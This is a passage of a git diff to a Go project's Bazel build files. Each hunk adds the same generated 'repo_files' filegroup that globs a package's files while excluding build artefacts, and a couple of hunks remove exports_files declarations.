"**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index fb8f51af9..394365aea 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -176,3 +176,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/backendnames/BUILD.bazel b/internal/storage/backendnames/BUILD.bazel index b41741b95..90aa5c611 100644 --- a/internal/storage/backendnames/BUILD.bazel +++ b/internal/storage/backendnames/BUILD.bazel @@ -19,3 +19,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/backends/BUILD.bazel b/internal/storage/backends/BUILD.bazel index fbdb0fdb3..d5c06c542 100644 --- a/internal/storage/backends/BUILD.bazel +++ b/internal/storage/backends/BUILD.bazel @@ -38,3 +38,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/batchbench/BUILD.bazel b/internal/storage/batchbench/BUILD.bazel index 03138e35f..7b15e3ec5 100644 --- a/internal/storage/batchbench/BUILD.bazel +++ b/internal/storage/batchbench/BUILD.bazel @@ -27,3 +27,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/batchfixtures/BUILD.bazel b/internal/storage/batchfixtures/BUILD.bazel index d25054cf4..a4718d9bf 100644 --- a/internal/storage/batchfixtures/BUILD.bazel +++ b/internal/storage/batchfixtures/BUILD.bazel @@ -39,3 +39,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/contextinfo/BUILD.bazel b/internal/storage/contextinfo/BUILD.bazel index fa37a7535..00814c404 100644 --- a/internal/storage/contextinfo/BUILD.bazel +++ b/internal/storage/contextinfo/BUILD.bazel @@ -29,3 +29,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/createbatchequiv/BUILD.bazel b/internal/storage/createbatchequiv/BUILD.bazel index 0214b7037..39cb683ac 100644 --- a/internal/storage/createbatchequiv/BUILD.bazel +++ b/internal/storage/createbatchequiv/BUILD.bazel @@ -39,3 +39,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dberrors/BUILD.bazel b/internal/storage/dberrors/BUILD.bazel index b29f0175a..5a5614ffe 100644 --- a/internal/storage/dberrors/BUILD.bazel +++ b/internal/storage/dberrors/BUILD.bazel @@ -33,3 +33,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dbproxy/identity/BUILD.bazel b/internal/storage/dbproxy/identity/BUILD.bazel index fa3c24b66..de7e8243c 100644 --- a/internal/storage/dbproxy/identity/BUILD.bazel +++ b/internal/storage/dbproxy/identity/BUILD.bazel @@ -33,3 +33,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dbproxy/pidfile/BUILD.bazel b/internal/storage/dbproxy/pidfile/BUILD.bazel index 302bb931e..47e4de2d1 100644 --- a/internal/storage/dbproxy/pidfile/BUILD.bazel +++ b/internal/storage/dbproxy/pidfile/BUILD.bazel @@ -26,3 +26,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dbproxy/proxy/BUILD.bazel b/internal/storage/dbproxy/proxy/BUILD.bazel index 5f8cdad9d..f3691c871 100644 --- a/internal/storage/dbproxy/proxy/BUILD.bazel +++ b/internal/storage/dbproxy/proxy/BUILD.bazel @@ -108,3 +108,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dbproxy/server/BUILD.bazel b/internal/storage/dbproxy/server/BUILD.bazel index fb64d1fc3..4236238be 100644 --- a/internal/storage/dbproxy/server/BUILD.bazel +++ b/internal/storage/dbproxy/server/BUILD.bazel @@ -62,3 +62,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dbproxy/util/BUILD.bazel b/internal/storage/dbproxy/util/BUILD.bazel index dcf75e375..e0a65d2f5 100644 --- a/internal/storage/dbproxy/util/BUILD.bazel +++ b/internal/storage/dbproxy/util/BUILD.bazel @@ -33,3 +33,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/depid/BUILD.bazel b/internal/storage/depid/BUILD.bazel index 759164bdc..6fa6f9f05 100644 --- a/internal/storage/depid/BUILD.bazel +++ b/internal/storage/depid/BUILD.bazel @@ -26,3 +26,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 6d9fad283..7263ec7bf 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -590,3 +590,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/doltutil/BUILD.bazel b/internal/storage/doltutil/BUILD.bazel index dbcff6704..d018dd26b 100644 --- a/internal/storage/doltutil/BUILD.bazel +++ b/internal/storage/doltutil/BUILD.bazel @@ -55,3 +55,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/domain/BUILD.bazel b/internal/storage/domain/BUILD.bazel index c35a54ac3..4393d650a 100644 --- a/internal/storage/domain/BUILD.bazel +++ b/internal/storage/domain/BUILD.bazel @@ -89,3 +89,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/domain/db/BUILD.bazel b/internal/storage/domain/db/BUILD.bazel index da2460a55..7498f62cf 100644 --- a/internal/storage/domain/db/BUILD.bazel +++ b/internal/storage/domain/db/BUILD.bazel @@ -193,3 +193,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/domain/fs/BUILD.bazel b/internal/storage/domain/fs/BUILD.bazel index 0ed0a9c9b..4d6d2e8cb 100644 --- a/internal/storage/domain/fs/BUILD.bazel +++ b/internal/storage/domain/fs/BUILD.bazel @@ -77,3 +77,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/domain/git/BUILD.bazel b/internal/storage/domain/git/BUILD.bazel index 4b802168a..7b4b8f2e0 100644 --- a/internal/storage/domain/git/BUILD.bazel +++ b/internal/storage/domain/git/BUILD.bazel @@ -64,3 +64,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 56949ee3c..d250bd628 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -373,3 +373,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/embeddeddolt/cmd/BUILD.bazel b/internal/storage/embeddeddolt/cmd/BUILD.bazel index 11a955b95..da3b5b782 100644 --- a/internal/storage/embeddeddolt/cmd/BUILD.bazel +++ b/internal/storage/embeddeddolt/cmd/BUILD.bazel @@ -26,3 +26,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/externaldeps/BUILD.bazel b/internal/storage/externaldeps/BUILD.bazel index 2b80333d8..d558c90a4 100644 --- a/internal/storage/externaldeps/BUILD.bazel +++ b/internal/storage/externaldeps/BUILD.bazel @@ -55,3 +55,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/fs/BUILD.bazel b/internal/storage/fs/BUILD.bazel index 2865f1f1e..4ef61a465 100644 --- a/internal/storage/fs/BUILD.bazel +++ b/internal/storage/fs/BUILD.bazel @@ -23,3 +23,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/git/BUILD.bazel b/internal/storage/git/BUILD.bazel index 7b22060ab..25e548a7b 100644 --- a/internal/storage/git/BUILD.bazel +++ b/internal/storage/git/BUILD.bazel @@ -23,3 +23,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index 71512f91a..af5f9fc2e 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -230,3 +230,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/journalscan/BUILD.bazel b/internal/storage/journalscan/BUILD.bazel index 724b7b0d9..d1178ba0e 100644 --- a/internal/storage/journalscan/BUILD.bazel +++ b/internal/storage/journalscan/BUILD.bazel @@ -25,3 +25,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/kvkeys/BUILD.bazel b/internal/storage/kvkeys/BUILD.bazel index 3b609a2ca..ee4c8e5cd 100644 --- a/internal/storage/kvkeys/BUILD.bazel +++ b/internal/storage/kvkeys/BUILD.bazel @@ -25,3 +25,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/memoryops/BUILD.bazel b/internal/storage/memoryops/BUILD.bazel index 5bdd40d2c..9039a52f6 100644 --- a/internal/storage/memoryops/BUILD.bazel +++ b/internal/storage/memoryops/BUILD.bazel @@ -29,3 +29,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/rowid/BUILD.bazel b/internal/storage/rowid/BUILD.bazel index 180d6fea9..90788b3c9 100644 --- a/internal/storage/rowid/BUILD.bazel +++ b/internal/storage/rowid/BUILD.bazel @@ -26,3 +26,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/schema/BUILD.bazel b/internal/storage/schema/BUILD.bazel index 1975dfb22..c3deff533 100644 --- a/internal/storage/schema/BUILD.bazel +++ b/internal/storage/schema/BUILD.bazel @@ -179,12 +179,6 @@ filegroup( visibility = ["//internal/storage:__subpackages__"], ) -# Linked from the root and engdocs AGENTS.md; //:docsync_files checks those links. -exports_files( - ["migrations/README.md"], - visibility = ["//:__pkg__"], -) - # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( @@ -197,3 +191,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/sqlbuild/BUILD.bazel b/internal/storage/sqlbuild/BUILD.bazel index fbbbe7d4b..8f2ce0aa2 100644 --- a/internal/storage/sqlbuild/BUILD.bazel +++ b/internal/storage/sqlbuild/BUILD.bazel @@ -52,3 +52,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/sqlclass/BUILD.bazel b/internal/storage/sqlclass/BUILD.bazel index db106a867..f169dff0d 100644 --- a/internal/storage/sqlclass/BUILD.bazel +++ b/internal/storage/sqlclass/BUILD.bazel @@ -26,3 +26,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/sqlcount/BUILD.bazel b/internal/storage/sqlcount/BUILD.bazel index 66d03210a..eaa94c1b4 100644 --- a/internal/storage/sqlcount/BUILD.bazel +++ b/internal/storage/sqlcount/BUILD.bazel @@ -19,3 +19,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/storagecontract/BUILD.bazel b/internal/storage/storagecontract/BUILD.bazel index dab3ad5b1..416cedece 100644 --- a/internal/storage/storagecontract/BUILD.bazel +++ b/internal/storage/storagecontract/BUILD.bazel @@ -20,3 +20,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index fe2f3f26c..ffcd8cf28 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -280,3 +280,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/versioncontrolops/BUILD.bazel b/internal/storage/versioncontrolops/BUILD.bazel index d33ea0127..17fc465ad 100644 --- a/internal/storage/versioncontrolops/BUILD.bazel +++ b/internal/storage/versioncontrolops/BUILD.bazel @@ -65,3 +65,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/telemetry/BUILD.bazel b/internal/telemetry/BUILD.bazel index a643c5b60..380b9d29a 100644 --- a/internal/telemetry/BUILD.bazel +++ b/internal/telemetry/BUILD.bazel @@ -83,3 +83,25 @@ go_test( "@io_opentelemetry_go_otel_trace//noop", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/templates/BUILD.bazel b/internal/templates/BUILD.bazel index 486d2d183..521b4505e 100644 --- a/internal/templates/BUILD.bazel +++ b/internal/templates/BUILD.bazel @@ -10,3 +10,25 @@ go_library( importpath = "github.com/steveyegge/beads/internal/templates", visibility = ["//:__subpackages__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/templates/agents/BUILD.bazel b/internal/templates/agents/BUILD.bazel index edb3fc13a..4836ed286 100644 --- a/internal/templates/agents/BUILD.bazel +++ b/internal/templates/agents/BUILD.bazel @@ -24,3 +24,25 @@ go_test( ], embed = [":agents"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index 7e54398e1..8cff43c52 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -125,12 +125,24 @@ go_test( ], ) -# Dolt image pin read as text by //test/docsync and the dolt pin tests in -# //scripts. -exports_files( - ["testdoltcommon.go"], - visibility = [ - "//scripts:__pkg__", - "//test/docsync:__pkg__", - ], +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], ) + +# --- end repo_files --- diff --git a/internal/testutil/bazeltest/BUILD.bazel b/internal/testutil/bazeltest/BUILD.bazel index ea4bf0b8c..a3a6c955d 100644 --- a/internal/testutil/bazeltest/BUILD.bazel +++ b/internal/testutil/bazeltest/BUILD.bazel @@ -13,3 +13,25 @@ go_test( data = glob(["testdata/**"]), embed = [":bazeltest"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/testutil/credentialcmd/BUILD.bazel b/internal/testutil/credentialcmd/BUILD.bazel index 3ea66fd39..82e67577d 100644 --- a/internal/testutil/credentialcmd/BUILD.bazel +++ b/internal/testutil/credentialcmd/BUILD.bazel @@ -16,3 +16,25 @@ go_test( srcs = ["credentialcmd_test.go"], embed = [":credentialcmd"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git 